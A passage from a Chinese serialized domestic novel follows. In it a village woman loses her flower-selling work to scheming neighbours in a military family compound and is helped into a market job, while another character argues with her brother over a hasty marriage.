而隔壁的王嫂子家,赵大梅看王嫂子还没吃完早饭呢,没让她帮着搬花,而是自己一盆盆地搬到小西门的驴车上头,累得满头大汗。 这一次,花架上花花绿绿的,有好几种花,吊兰垂着嫩绿的叶子,一串红开得像小灯笼,鸡冠花红得耀眼,还有五颜六色的石竹挤在一起,足有快三十盆。 王嫂子在驴车边上和赵大梅说了养护的注意事项,粗糙的手指点着花盆,笑眯眯地看着这些花草。 “这些石竹,是我大半月前扦插出来的,耐寒,长得也快,后院还有一大批得矮牵牛,过个十天半个月也马上长成了,不愁没得卖!” 赵大梅一边应着,一边把麻绳在花架上系得牢牢的,手腕被勒出红痕也不在意。 交代完后,她挥了挥鞭子就驾着驴车走了,也不知是驴儿跑得太快了还是咋滴,忽然觉得背后阴恻恻地,狠狠打了个喷嚏。 “大梅姐~这边~!” 这时,军属区西边的操场上,一个清脆的声音响了起来。 赵大梅一瞅,是周柒柒、朱莹莹、邓翠香,还有向阳和舟舟。 家里男人走了,吃完早饭之后,朱莹莹和邓翠香就跑到周柒柒家里来了。 早上,是周柒柒和朱莹莹固定一起去操场跑步的时间,这会儿刚快走了两圈,远远就瞅见赵大梅的驴车。 赵大梅把驴车停在一边,几个人已经围了上来,互相打了个招呼。 “邓妹子,你这几天咋不卖酱菜了,我还想着捎带着你去城里呢!” 邓翠香扶着腰,笑道。 “我前两天不小心把腰扭了,还没好利索呢,过两天再去!” 赵大梅赶忙道,“那你啥时候去跟我说一声,我捎你!” 邓翠香看着她车上满满当当的,一片欣欣向荣,调侃道。 “你这车里放这么多东西了,再加上个我,别累死你家的驴了!” 赵大梅弯腰拍了拍驴脖子,驴子打了个响鼻。 “不会不会,就是一个木头架子加点花草,有啥重的!” 说着,她目光不经意瞥到前头的两个大布袋,她拍了拍脑门。 “对了,差点忘了,我这儿有给你们拿的山楂,这一袋你们拿去分。” 她拿了一袋递给邓翠香,另外一袋递给周柒柒。 “这一袋,柒柒,你帮我拿给王大嫂,刚才我就顾着钱,把这茬给忘了,这是我家那两个娃娃这几天去山上摘的野山楂,新鲜的很,不管是熬酱还是做糖葫芦都好着呢!” 布袋子沉甸甸的,里头的野山楂红彤彤的,又大又圆,看着就新鲜。 周柒柒抱着沉甸甸的布袋子,点了点头道。 “成!没问题!待会儿我们回去帮你带上!” 说着她就催着赵大梅赶紧走,别再这儿耽搁时间了。 赵大梅走后,她们在操场上跑了几圈就回去了。 周柒柒让舟舟自个儿先回家,刚要往王大嫂家去,姜向阳拽着她裤腿蹦跶。 “我也去!我去找大林哥借木头飞机玩!” 大林哥就是王大嫂的小儿子,平时经常做木头玩具玩,姜向阳总是缠着他要玩。 周柒柒牵着姜向阳的手一起过去,才到巷子口,他就撒欢地喊叫起来。 “大林哥!在家吗!” 王大林嘴里叼着木片跑出来,手里还攥着刻到一半的小木枪,招呼姜向阳进去。 周柒柒本来想敲门的,姜向阳拽着她的手就进了门。 “王嫂...” 周柒柒没法子,跟着进了门,到了堂屋前,正准备喊王大嫂一声呢,却听见一个熟悉的声音,从王大嫂的屋子里传了出来。 “婆婆,你想想,这人又不知根,不知底的,花拉出去卖多少钱,全是她说了算,给多给少咱都不知道!万一诓了你呢!” 第159章 花的可都是你们家的钱! 屋子里的人说得正起劲儿呢。 一个声音刚落,另一个就迫不及待地接上,你一言我一语,那语速快得,就跟机关枪似的,一句赶着一句。 “是啊,婆婆,王大嫂,你们瞅瞅,这才帮你们卖了几天花啊,她就穿上新衣裳了,颜色那么鲜亮,瞅着就知道料子不错,花的可都是你们家的钱!” 这尖酸刻薄的语气,周柒柒一听就皱起了眉头,可不就是邱春芳和李红娟那两个爱搅和事儿的主儿。 平日里,这俩人就爱在巷子里扎堆,东家短西家长地嚼舌根,见不得她身边的人过得好。 之前在广场上,就听她们说翠香姐做生意是给自家男人丢脸,这会儿又把目标对准赵大梅了。 赵大梅又不是军属区的,和她们无冤无仇的,居然也在背后编排人家。 这边俩人话音刚落,王婆婆慢悠悠的声音也传了出来。 “是,那衣裳比我老婆子身子这家还鲜亮,一看就是新扯的布,估摸着可不便宜...” 王婆婆的话里竟然也带着股酸味,听得周柒柒心里直犯嘀咕,眉头皱得更紧了。 她清了清嗓子,故意大声咳嗽了两声。 “咳咳...王大嫂,你在家吗?我是柒柒,我来给你送东西来了!” 她的声音清亮又干脆,像百灵鸟一样,原本叽叽喳喳的屋子瞬间没了声响。 过了半分钟,王大嫂有些局促地从屋里走了出来,脸上堆着不太自然的笑,伸手朝着周柒柒挥了挥。 “哟,柒柒,你来了,来来来,快进来坐。” 周柒柒礼貌地笑了笑,脚却没动,只是把怀里抱着的包袱往上扬了扬。 “我就不进去了,家里还有事儿呢,这儿拿的山楂也重的很,你看看,给你放哪儿?” 她眼睛滴溜溜地转了一圈,眼神里带着几分试探。 王大嫂一下子就明白了她的意思,眼神里闪过一丝尴尬,说道。 “放后院地窖吧,走,我跟你一起去。” 屋里还是没啥动静,安静地就好像没人一样,连呼吸声都听不见,不知道是不是都憋着气呢。 周柒柒故意走慢了点,让她们多憋一会儿,做好憋出点毛病来。 王大嫂没再说什么,朝着自家地窖的方向努了努下巴,带着周柒柒过去。 在屋里没瞧清楚,走出来才看到,周柒柒怀里抱着那么大一袋子山楂,她赶紧说道。 “你说说你,来了也就来了,咱们说说话啥的都好,怎么带这么一大袋子山楂来?” 王大嫂说着就伸手要接,周柒柒赶紧往后躲了躲,摇了摇头。 “不用不用,你赶紧开地窖门就成。” 王大嫂应了一声,小跑着去把地窖门打开,又伸手扶着周柒柒慢慢走下台阶,小心叮嘱着,“里头黑,小心台阶。” 这挖地窖也是个大工程,得花不少钱,王嫂子家里可不像周柒柒家,把地窖挖得那么大,就矮矮的,够装东西就成。 周柒柒一边小心翼翼地往下走,一边说道。 “这可不是我拿的,是大梅姐拿给你的,说是两个孩子自己去山里摘的野山楂,你瞅瞅,新鲜的很。” 王大嫂抬眼仔细一瞧,只见袋子里的山楂个个又大又红,果蒂处还连着青绿色的花萼,看着就水灵。 她笑着点了点头:“是新鲜。” 说完,又歪着头,脸上满是疑惑。 “我记得,她家里两个孩子,大的男娃八岁,小的女娃才六岁,这么小就这么懂事了?我可是知道,这野山楂一半都长在山坡上,枝条上又全是硬刺,可不好摘。” 周柒柒把山楂稳稳地放在王大嫂指着的角落,直起身子,用手拍了拍衣裳上沾的灰,笑着说。 “这山楂也给了我一袋,大梅姐家里穷,孩子们感恩,但是家里又没什么拿得出手的东西,也就只能冒险去摘这些山货了。” 说到这儿,她脸色变得认真起来,目光里满是真诚。 “她们一家子都是实诚人。” 王大嫂也跟着笑了笑,伸手握住周柒柒的手。 “是是是,我知道,之前和她谈合作的时候我就瞧出来了,她是个好的。你放心,我没有怀疑她的意思,毕竟我自己不出门,这卖花挣钱,也多亏她跑这个腿,出这把子力气,我是不会受别人挑唆,更不会把这活儿交给别人干的。” 周柒柒心里猛地一紧,原本只以为邱春芳和李红娟是看不惯她身边的人过得好,能挣钱,来挑拨离间,没想到她们居然还惦记着抢生意。 她心里直冒火。 前两天这俩人还在广场上嚼舌根,说翠香姐做生意是给自家男人丢脸。 这会儿就厚着脸皮想来抢活儿,真是不知羞耻。 周柒柒咬了咬嘴唇,紧紧回握住王大嫂的手。 “王大嫂,这合作虽然是你们俩的事儿,但是大梅姐到底是我推荐的,我有几句心里话,还是得为她说几句,也希望王大嫂你过后给王婆婆也说一说。” 王大嫂点点头,示意她继续说。 周柒柒深吸一口气,缓缓说道。 “大梅姐为了你们俩这生意,嘴皮子和脚底板都没少磨,她的用心,你我都是看在眼里的,要是换做旁的人来,绝对没有她卖的好!别因为一点猜疑,就把这来之不易的合作给毁了,不然到时候损失的,可不止大梅姐一个人。” 她这话是发自内心,即为赵大梅说话,也替王大嫂家考虑,眼神里满是恳切。 王大嫂不住的点头,“我知道,我知道,你放心吧。” 虽然有王大嫂这句话,但周柒柒心里到底还是不怎么放心。 王大嫂看着精干,实际可不掌权,这王大嫂家里,还是婆婆当家,王团长也听自个儿老娘的。 王婆婆那个人,看着就不是个好相与的,这事儿怕是要有变故。 从王大嫂家回去后,周柒柒回到自个儿家,却没想到,邓翠香和朱莹莹正坐在她家客厅喝茶呢。 邓翠香见她回来,也不起身,而是朝着茶几上的布包努了努嘴。 “哟,回来了,我想着男人都走了,叫你们中午都去我家吃饭呢!咱们包饺子吃!还有,大梅送过来的这山楂这么多,咱们也得分一分。” 男人出门,三个女人聚会包饺子,已经是第二次了。 周柒柒眸子转了转,笑道。 “上次就是在你家包的饺子,今儿来我家包吧,我这儿还有一大块牛肉,本来是打算今天给淮川炖了补补的,他走了,没这个口福,我和舟舟两个也吃不了,再放两天该坏了,正好咱们包牛肉饺子吃!” 三个女人一合计,都点了点头。 到底都是军嫂,男人出门十天半个月不回来,心里都空落落的,有人一起结伴,手上有事儿干,也不至于胡思乱想了。 她们挽起袖子,洗菜的洗菜,剁肉的剁肉,说说笑笑间,把那些烦心事都抛到了脑后。 第160章 你就不用来了 上次莹莹包的饺子下水一煮,全都破皮了,煮出小半锅皮馅汤来。 虽然姜向阳就爱吃这种,但莹莹多少还是有点受打击。 周柒柒和邓翠香一合计,干脆今儿做蒸饺,把牛肉剁了,和香菇丁、胡萝卜碎一起做馅。 眼看着第一锅就快蒸好了,向阳那个皮猴子闻着味儿就蹿到厨房门口了。 不过不知道他刚才又上那儿爬树去了,身上脏兮兮的,不是泥就是草屑。 邓翠香眉头一皱,抄起擀面杖就朝他挥了挥,扯着嗓子喊道。 “干嘛呢你!身上那么脏!不许进来!去!回家换身干净衣裳来,顺便让你哥叫过来吃饭!” 姜向阳立马站得笔直,抬手行了个不太标准的军礼,脆生生地喊了句“遵命!”,接着像一阵风似的跑开了。 谁能想到,不到一分钟,那张沾着灰的小脸又从门框边探了出来,眼睛亮晶晶地说。 “妈,周阿姨,朱阿姨,如果有破皮儿的,记得留给我吃!” “知道了!知道了!” 邓翠香笑着应了,回头对着朱莹莹道。 “这小子,从小就爱吃那破了皮的饺子,连汤带水的!所以莹莹,你真不用那么担惊受怕的!” 朱莹莹却还是放不下心,眼睛死死盯着蒸锅,双手在围裙上搓了又搓。 要不是周柒柒和邓翠香拦着,她怕是真能一分钟掀开锅盖十次。 不过这次做的是蒸饺,没往沸水里滚,是用蒸汽来加热的,还真就一个都没破。 但是朱莹莹怕破皮,包的时候不敢多放馅,包的蒸饺一个个瘦长瘦长的,和邓翠香、周柒柒包得圆滚滚的饺子比起来,显得有些“单薄”。 可即便这样,看着完整出锅的蒸饺,朱莹莹嘴角还是忍不住往上扬,眼里藏不住的高兴。 就是苦了姜向阳这小子了,一听今天没有“饺子汤”吃了,这小家伙叹了好大一口气。 不过和舟舟排排坐一起吃饺子的时候。 向阳瞅着完完整整的蒸饺,还挺开心的,还特意把自己碗里的大饺子拿去舟舟眼睛跟前显摆。 这让周柒柒感觉,这小子怕不是真的爱吃“饺子汤”,只是为了不让包出破皮饺子的大人不高兴罢了。 这孩子调皮的时候是真调皮,但懂事的时候,也是真懂事。 在舟舟面前上蹿下跳的,还偷夹她碗里掉下来的皮儿吃。 但也知道一遍又一遍地,和舟舟一起无声地练习说“饺子”“醋”“辣椒”什么的。 再看姜向海,安安静静地坐在一旁,左手捏着蒸饺,右手翻着《少年科学》杂志,眼睛一眨不眨地盯着书页,完全沉浸在知识的世界里,仿佛周围的喧闹都与他无关。 三个孩子,各有各的模样,却都乖巧得不让大人操心。 可隔壁院子就没这么消停了。 邱春芳好不容易从王大嫂家借了十个鸡蛋,做了鸡蛋酱拌面条。 赵耀祖一开始还眼巴巴地等着,可牛肉蒸饺的香味一飘过去,他立马就闹了起来。 小脸涨得通红,又哭又喊。 “我不吃鸡蛋!鸡蛋一股鸡屎味儿!我要吃肉!我要吃肉!” 那嗓门大的,整个院子都听得一清二楚。 “得儿,又开始了,就没有一天安宁的,可得持续一会儿呢,至少半个小时。” 周柒柒夹起一个蒸饺,刚咬了一口,听到这声响,一边无奈地叹了口气。 可谁能想到,这次赵耀祖只闹腾了几分钟就没声儿了。 周柒柒想起今天从王家出来的时候,邱春芳从窗户里露出的那只闪烁着贪婪的眼睛,感觉有点瘆得慌。 她放下筷子,压低声音,把早上听到的事儿一五一十地和邓翠香、朱莹莹说了。 邓翠香一听,脸瞬间就黑了,“啪”地一声把筷子拍在桌上,“嚯”地一下站了起来,声音里满是怒气。 “什么?!大梅姐多好的人啊!好不容易寻个营生,她们咋还要抢!不行!咱们得找王大嫂说理儿去!” 说着就要往门外走。 周柒柒眼疾手快,一把拉住她。 “哎,别别别,你这样去说理,那王嫂子和王婆婆肯定不高兴,说不准真不让大梅姐帮着卖花了。” 邓翠香也知道自己冲动了,一屁股坐回椅子上,重重地叹了口气。 “那咋办?总不能啥也不说吧!大梅姐也算是咱们的姐妹儿了。” 周柒柒拍了拍她的肩膀,安慰道。 “放心吧,该说的,我已经掏心掏肺地和王大嫂说过了,就看她们家里人怎么想了,毕竟花都是人家家里的,咱也不能强行要人家怎么样。” 朱莹莹虽然和赵大梅接触不多,但她到底心细,忍不住开口道。 “你们这事儿,也得跟大梅姐说一声,她好心里有个底,不然太突然的话,我怕她心里难受...” 邓翠香咬了咬牙,说道。 “万一,我是说万一王大嫂真错了主意,不然就让大梅姐跟我一起卖酱菜好了。” 周柒柒不赞同的摇了摇头。 “别,你那酱菜才刚起步,卖得钱也不多,还是先别想着帮衬别人了,不然也得帮出事儿来,这事儿呀,我来想办法。” 周柒柒第一次出去摆摊做生意就是赵大姐给拉着过去的,两人认识也快三个月了,经过这段时间的相处,她也已经把对方当成朋友了。 她的事儿,周柒柒还是乐意帮忙的。 周当即跑到电话室,给赵大梅她们村委打了个电话,让她晚上回来顺路到家里一趟,还特意跟门卫室打过招呼。 本以为她,差不多傍晚,赵大梅就能过来,却没想到,一直等到晚上快九点,赵大梅才来敲门她家的门。 周柒柒问起来,她只低头说道。 “这次拉的花多,不卖完我不踏实,就多在城里呆了一会儿。” 周柒柒看她累得嘴唇都发白,说话都没啥劲儿了,赶紧拉她进屋,倒了杯温水,又喊舟舟把厨房里的饭盒拿过来打开。 “还没吃饭呢吧?这儿有专门给你剩的蒸饺,一直放在保温盒里呢,还有点温度,你赶紧先吃点。” 赵大梅是真累得狠了,加上和周柒柒也不生分了,跟舟舟笑着点了点头,拿起筷子就先吃了一个。 刚一入口,她就愣了一下,“肉馅的?” 周柒柒笑道。 “是,牛肉的,我和翠香姐、莹莹一起包的,尝尝我们手艺咋样!” 赵大梅囫囵吃了两个,感觉身上不那么发慌了,有些局促的低头问道。 “剩下这些,我能带回去吃不?” 周柒柒知道她这是舍不得吃,想拿回去给家里孩子和老人,指了指桌上的另外一个大盒。 “哪儿还有呢!我们今天包的多,剩下那一盒,你带回去给娃娃和你公公吃,够她们吃的了,这馅顶饱。” 说着就把饭盒往赵大梅跟前推了推。 “快吃吧,你要是自个儿不吃的话,那一盒你就别想带走了。” 赵大梅可是知道周柒柒的脾气,便也只能吃了。 她一边吃着,周柒柒一边把王大嫂家里的事儿说了。 本来想着赵大梅估计会有点失落,却没想到,她远比周柒柒要想的坚强多了,知道这事儿后,却只是笑了笑。 “没事儿,不管咋样,咱尽力了就成,这个不成,我就再去干别的,反正我有的是一把子力气!” 又或者说,她不是坚强,而是和王家人接触的次数多了,知道这是迟早的事儿。 果然,过了三四天,到了约定搬花的时间,赵大梅把钱给王大嫂。 王大嫂当面数清楚后,分给赵大梅十二块钱,又递过去一毛钱,脸上带着几分不好意思。 “大梅妹子,家里的花这段时间都卖得差不多了,暂时没有能卖的了,你就不用来了,这段时间你辛苦了。” 第161章 买卖不成仁义在 王大嫂给的多余的一毛钱,赵大梅没要,而是从背后的背篓里拿出一个小包袱来,笑容坦荡地递了过去。 “大姐,前几天听说你家里两个男娃娃准备考大学,学习费脑子,我公公带着孩子去山里打的山核桃,不多,给孩子们补补,也算是多谢你们这段时间的照顾了,有句老话叫什么来着,买卖不成仁义在。” 这一袋山核桃瞅着有两、三斤的样子,去集市上买,少说也要一块五毛钱了。 王大嫂盯着那包袱直犯愣。 包袱里头鼓鼓囊囊的,瞅着得有二斤多,集市上干货摊子卖山核桃,一斤就得七毛五,这一兜子少说也值一块五。 她手心里的一毛钱突然烫得慌,像是刚从煤炉子里夹出来的火炭,捏也不是放也不是。 “你这孩子,咋这么实在!” 最后还是王婆婆从里屋出来,伸手在王大嫂手背上拍了一下,指尖捏着那毛钱,往自个儿衣襟里一塞,动作麻溜得很。 随后才接过布包袱,掌心在包袱上揉了揉,笑得合不拢嘴,眼角的皱纹都舒展开来。 “小赵说得对,买卖不成仁义在。我那俩孙子正缺这些补脑的呢,我替他们谢谢你啦。” 送完这袋山核桃,赵大梅就赶着回去拉驴车了,也没把这事儿告诉周柒柒。 王大嫂心里感觉不落忍,下午特地去了一趟周柒柒家。 此时的周柒柒正在厨房里忙着,锅里的油正滋滋响着,核桃仁在油锅里翻着个儿,她鼻尖上沁着细汗,歪着脖子用肩膀蹭了蹭,手上还忙着翻动锅里的核桃仁。 赵大梅早上送羊奶的时候,也给周柒柒捎了一小袋山核桃,她这会儿正在炸核桃仁,准备给舟舟做琥珀桃仁当零食呢,手上没空接东西。 王大嫂站在厨房门口,手里攥着一块一毛钱,有些局促地搓了搓手,开口道。 “柒柒妹子,这一块钱是我攒的私房钱,就当那山核桃是我问大梅妹子买的吧...” 周柒柒头也不抬地摆了摆手,声音里带着几分无奈。 “王大嫂,这钱你还是自己拿着吧,大梅姐的脾气我了解,这钱她肯定不会要的。你方便的话,能跟我说说,到底咋回事吗?” 王大嫂走进厨房,看着周柒柒忙碌的身影,低下头,头压得低低的,下巴都快碰到胸口了,喉咙里滚了滚,咽了口唾沫,像是下了好大决心才开口。 “你也晓得,我家是婆婆说了算。前儿个你也瞅见了,李红娟跟邱春芳上我家串门...” 自打那天起,那俩人天天往王婆婆屋里钻。 也不知在老婆子耳边灌了啥迷魂汤,末了王婆婆一拍板,说往后卖花的活儿就交给李红娟和邱春芳。 周柒柒刚想问问王大嫂咋不帮着说句话,就听她叹了口气。 “我琢磨着,都是军嫂,谁没点难处?红娟家男人老跟她吵嘴,春芳家四个娃,鸡蛋都吃不起,这买卖给谁不是做?给自家人总比给外人强。要是往后生意做火了,多招几个人,咱军属区的嫂子们都能沾点光,你说是不是,柒柒妹子?” 王大嫂虽然四十多岁了,但是思想比较传统,心善,耳根子也软,自己都还没赚多少钱呢,倒是替军属区的军嫂们考虑起来了。 但是她把那俩当自己人,那俩却未必。 周柒柒心里头清楚,嘴上却没说破,转了个话头。 “王大嫂,我想多余问问,她俩也没个驴车啥的,咋去卖啊?你问过没有?” “这个我婆婆问过了,说是保卫科有淘汰下来的三轮车,本来准备扔了的,李红娟要过来送去修了,过个三四天,等车修好,就可以开始进城卖花了!” 还能这样? 周柒柒有些哑然,脑海里不禁浮现出李红娟和邱春芳那副臭脸。 这俩人搬弄是非的功力,周柒柒甘拜下风,但要说卖东西嘛... 就她俩那臭脸,不跟客人骂起架都算好的了。 她在心里默默摇了摇头,只能说,很难评,祝她们成功吧。 她最后一次郑重问道,话里带着探寻,“大嫂,你和王婆婆已经想好了?” 王大嫂不明就里的点了点头。 “嗯,想好了,她们两个人,和大梅一个人一样,也只是分四成,对我们来说,反正都是一样的,再说了,我婆婆说...” “说什么?” 她说到一半就不说了,周柒柒追问,她脸一下子红了,支支吾吾道。 “没...没啥...” 她嘴里不说,其实周柒柒也知道。 王婆婆估计是说了,赵大梅就是个乡下婆子,除了种地和拉驴车,又没啥别的营生。 就算是哪俩卖得不行,再把赵大梅叫过来也是一样的。 但是周柒柒可不会给她们这个后悔的机会。 第二天一早,她搭了采购车去第一服装厂。 先把自己的正事干完,了解了第二阶段合同的生产情况,又追问了生产线承包合同的进度之后。 第一时间就和张国强副厂长说起了这事儿。 这事儿周柒柒前面就给张国强打电话说过。 没想到,张国强的反应还是大得很,甚至可以说,比邓翠香还大,“腾”地一下就站起来了,猛地拍了一下桌子。 “还真不让卖了?为啥?赵同志卖个花草,又是搭野花又是搭野山楂的,把城里大大小小的家属院几乎都跑遍了,可以说用心得不得了,咋好好的,就不让卖了?” “那么激动干啥?” 周柒柒被他吓了一跳,赶紧摆手让他坐下。 “别管为啥了,一句两句的也说不清楚,是这样,我看厂里也挺忙活的,你看,还缺不缺人?能不能让大梅姐来厂里工作?” 在她看来,这就是顺手的一件事,但是却没想到,张国强却叹了口气,一脸的为难。 “柒柒妹子,你当我不想啊?赵同志救过我家小子的命,她要是能来,我早把她请来了。可她是农村户口,政策规定农村劳动力不能往外流,这是红线,碰不得啊!” “那咋办?” 周柒柒一时犯了难,不过张国强这会儿却是憨厚的笑了笑。 “不慌,你那天给我打电话的时候,我就问过了,李萍开档口的服装批发市场,现在生意是一天比一天好了,好些个档口都缺人,她们都是从乡下叫亲戚过去帮忙,可以让赵大梅去那边试试。” 周柒柒眼睛一下子就亮起来了。 “好主意!我刚才都没想到!你电话却几天前就打过去了!可以啊你,张副厂长,这脑子,也没那么笨嘛!还是有点长进的!” 张国强挠了挠头,脸色稍微有点红,不过周柒柒没在意,而是风风火火地就朝着服装批发市场过去了。 第162章 您是来找林瑶的? 今儿个是礼拜四,还刮着点小风,天气不算咋好,但服装批发市场依旧人头窜动。 自从政策开放以来,普通老百姓吃饱喝足了,兜里有了点闲钱,也开始注重改善自己的精神面貌,想让自己看起来体面点。 买身新衣裳,是最直接,也是最快速的方法。 虽说一件衣裳不便宜,但这年代的衣裳都耐穿,买一件新的,能管好几年。 而且穿上一件新衣裳,一眼就能让人看出来,你家把日子过红火了。 所以这服装生意,是越做越火爆。 周柒柒周柒柒挤过扛着麻袋的批发客,到李萍档口的时候,她正踮着脚往货架上摞货呢,只能让她先在旁边等着。 过了好一会儿,等她男人过来了,才有空把周柒柒叫到后头说话。 她嗓子都快干得冒烟了,一边听周柒柒说着,一边自顾自喝了一半缸子凉水,喝完才开口道。 “这事儿啊,国强跟我说过了。” 周柒柒知道她忙,也说得干脆了当。 “那我也不废话了,萍姐,你和这周围的老板都认识,知不知道哪家缺人的?帮着给说家好的,我那姐妹手脚麻利,保准不给您丢人。” 李萍抹了把脸,眼角的笑纹里藏着生意人的精明。 “既然是个能干的,干嘛便宜了别人啊?就在我这儿干不就成了?” “你这也缺人?” 听周柒柒这么一问,李萍拍了拍摞得齐腰高的纸箱。 “缺,咋能不缺呢!我这档口就我一个人忙活,我男人休息了有空过来帮帮忙,都快给我累坏了,一直想找个人搭把手,当初一见到你,我都想招你过来帮忙呢!” 周柒柒眉头一挑,“你那么早就看好我呢?” 李萍笑呵呵的,“那可不!” 周柒柒捂嘴直乐。 “我咋记得,萍姐你第二次看见我,还怕我是过来退货的,语气可不咋好呢?” 李萍一脸的茫然,“有这一回事吗?我可不记得了!准是你贵人多忘事,给记错了!” 周柒柒挽着她的肩膀,“成成成,是我记错了,今天这事儿,还得萍姐你帮帮忙,给个机会。” 李萍也反过来挽着周柒柒的胳膊,拍了拍她的手。 “没问题!明天一早你就把人带过来!” 但是话刚说完,她神色却是严肃了起来。 “丑话说前头,我给你面子留个机会。成不成,还得看她明天表现,就算留下,也得试一两个礼拜,干得不好,就不要了,只给试工的钱。” 周柒柒笑得从容。 “试用期嘛,没问题!公是公,私是私,不用顾及我的面子,没想到萍姐还懂这个!” 李萍看周柒柒是这副态度,又重新笑了起来。 “对对对,就是这个词儿,我这是上次去花城,跟那些香江人学的招儿!一时没想起来怎么说,没想到你也懂!” 两人又唠了几句,见前头来批发衣服的客人多,周柒柒赶紧就走了。 第二天一早,她就带着赵大梅过去了。 李萍看了几眼,感觉还挺满意的,“人精神,穿的也挺体面,可以!” 赵大梅穿的,还是王婆婆她们看到的那一身,但是看在不同的人眼里,完全是不同的感觉。 王婆婆那几个人只眼红别人挣钱了。 可李萍却觉得,在外头卖货,就得穿得簇新簇新的,给人一个好印象才成,愿意穿新衣裳来,是给自己面子,也是尊重自己的活计。 把赵大梅安排好之后,周柒柒踩着点坐上采购车,回了军属区。 走到路上,瞅着今儿天气有点凉,怕是要下雨了,想着中午要不要做点汤面啥的,热乎乎连汤带主食一起下肚。 正想得出神呢,没留意就被一个满头是汗的男人给拦住了去路。 “不好意思,同志,能耽误您一会儿时间吗?” 男人看起来二十七、八岁左右,比沈淮川大个两、三岁的样子,五官虽然没有沈淮川看起来那么周正,但人看起来倒也和善,而且站姿端正,不像什么坏人。 周柒柒客气地笑了笑。 “可以,你说,有什么需要我帮忙的吗?” 男人也礼貌笑了笑。 “是这样的,我是来找家里人的,本来保卫科同志给我指了路的,但是我这着急上了个厕所出来,有点不知道东南西北了。” 周柒柒还以为对方也是军属呢,态度更好了。 “这军属区大,是有点不好认路,您要去哪儿啊?有具体位置没?我知道的话就告诉你,不知道的话,就帮你去问问去。” 男人忙不迭的点头。 “有有有!有具体位置!您肯定知道的!我要去的呀,就是咱军属区的卫生所!” “卫生所...” 周柒柒愣了一下,“您是来找林瑶的?” 毕竟现在哪儿就住着林瑶和许树一家子,许家的亲戚周柒柒都认识,这人只能是来找林瑶的了。 男人笑容更盛,“对对对,你认识我妹妹?我是她哥,我叫林彦,你好你好!” 周柒柒没回答他的问题,而是指了个方向,客气道。 “卫生所就在那边呢,顺着这条路一直过去就行,是个单独的一个院子,门口挂了牌子的,你过去就能看见了。” 周柒柒的态度一下子就从热情友善变成了冷淡,还带着一点点的嫌弃。 林彦顺着她指的方向看了过去,笑容真诚。 “谢谢,明儿个我妹妹结婚,在咱们军属区礼堂,您要有时间的话,欢迎去观礼!以后我妹妹就在咱们军属院卫生所工作了,专门服务你们军嫂!” 周柒柒冲着她礼貌一笑,也没回答,正准备走呢,正好这会儿胡春晓路过叫了她一声,她赶紧小跑着就过去了。 等她走后,林彦脸上的笑容瞬间就凝固了,变成了浓浓的忧愁,他叹了一口气,就朝着卫生所的方向走了过去。 他来之前是给林瑶打过电话的,林瑶一直在门口等着呢,这会儿见他来了,高兴得不得了,笑着迎了上去。 “哥,你终于来了!爸妈她们人呢?!” 林彦看着身后伸长了脖子的许家一家子,没回话,而是脸色阴沉地把林瑶拉到一边去,劈头盖脸地呵斥道。 “你胆子也忒大了!爸妈给你户口本,是让你和淮川抓紧时间领证,你这忽然就说要和另外一个男人结婚,还把证都给领了,这到底咋回事?” 第163章 溺·爱 面对哥哥的质问,林瑶早有准备,把之前跟周淑华她们的那一套说辞搬了出来。 无非是沈淮川错在先,和别人被“捉奸”了,她要是继续和沈淮川在一起,肯定要被人笑话一辈子,所以不得不分手。 最后和许树互相安慰,然后走到了一起。 林彦眉头紧皱。 “那你当时怎么不跟我们说一声?爸妈医院里,还有我们机关单位里,都有不少好青年的,再给你安排一...” 话还没说完呢,就被林瑶不耐烦地给打断了。 “安排!安排!你们就知道安排!” 林瑶猛地打断哥哥的话,双手叉腰,胸脯剧烈地起伏着。 “从小到大,我去哪儿上学,干什么工作,跟谁交朋友,甚至和哪个男人结婚,都被你们早早安排好了!我是个人,不是个任人摆弄的布娃娃,我有自己的想法,有自己的主意!” 她的眼睛瞪得滚圆,眼底泛着水光,却硬是不让眼泪掉下来。 林彦张了张嘴,想说些什么,却被妹妹接下来的话堵了回去。 “你们安排之前,问过我愿不愿意吗?除了给我安排学习、工作,给我钱,你们真正关心过我心里想什么吗?” 林瑶的声音里带着浓浓的委屈,肩膀微微颤抖着。 看着妹妹激动的样子,林彦叹了口气,语气软了下来。 “爸妈都是医生,工作忙,这你是知道的。可从小到大,你想要什么,他们不是尽量满足你吗?你做错事,他们什么时候骂过你一句?再说了,结婚这么大的事,你怎么能不跟家里说一声就领证呢?而且我看那许树一家人,总觉得不太靠谱,许树还是个农村人,连个正式编制都没有...” 他到底是在机关单位工作的,看人还是有几分眼光的。 就刚才那么一照面,就感觉哪一家子都不是省油的灯。 “不许你说他们坏话!” 林瑶突然尖叫一声,打断了哥哥的话。 “许树哥是我自己选的,他对我可好了,从来没跟我红过脸。他家里人也把我当亲闺女一样疼,什么好吃的都紧着我。证都已经领了,明天就结婚,谁也别想改变!” 她的眼神坚定,下巴高高扬起,一副不容置疑的样子。 “好吧。” 林彦看着妹妹那副固执的模样,知道再说什么也没用了。 他无奈地摇了摇头,说。 “爸妈那边,妈一直担心你的事,最近心脏又不好,检查出点毛病,我没敢告诉他们,他们来不了了......” 林瑶一开始还有点忧心,眉头轻轻皱起,可听到后面,眉峰陡然一挑,一万分的不乐意。 “那怎么行?哥,你都不知道,我在这儿,被哪个叫周柒柒的都快欺负死了!我这次婚礼,必须得办得风风光光的,好好压过她一头!让她看着我过得好,我才能出这口恶气!爸妈不来算怎么回事啊?” 她跺了跺脚,脸上满是不满。 看着妹妹气鼓鼓的样子,林彦赶紧站起身,伸手扶住她的肩膀,轻轻拍了拍。 “你别着急啊,虽然爸妈来不了,但是哥特地让人去捎来最时兴的几件裙子,香江来不及去,是从花城带回来的,你挑一件喜欢的明天穿。” 他顿了顿,又说道。 “另外,哥白天还去了趟G市文化站,请了舞龙舞狮,还有锣鼓队明天来表演,不管咋样,我妹子的婚礼,一定都要风风光光的!” “这还差不多!” 听着哥哥的话,林瑶的脸色渐渐缓和下来,嘴角也露出了笑意。 她突然挽住哥哥的胳膊,撒娇道。 “哥,你对我真好!不过爸妈之前说等我结婚给我一千块钱,我和许树哥还想着用这钱创业呢。他们不来的话,这钱......” 她晃了晃哥哥的胳膊,眼里满是期待。 “创业?他能想到这个,还算上进心,也是好事...” 林彦一咬牙,说道。 “钱的事儿我来想办法,不过,你嫂子这最近怀孕,一下子可能拿不出那么多...” 他有些为难地看着妹妹,心里有些无奈。 林瑶一听哥哥答应了,立马就放开了他的胳膊,笑道。 “有多少先拿多少吧,后面再让爸妈给!许树哥说了,不出一年,就能十倍,啊不,二十倍还给你们!” 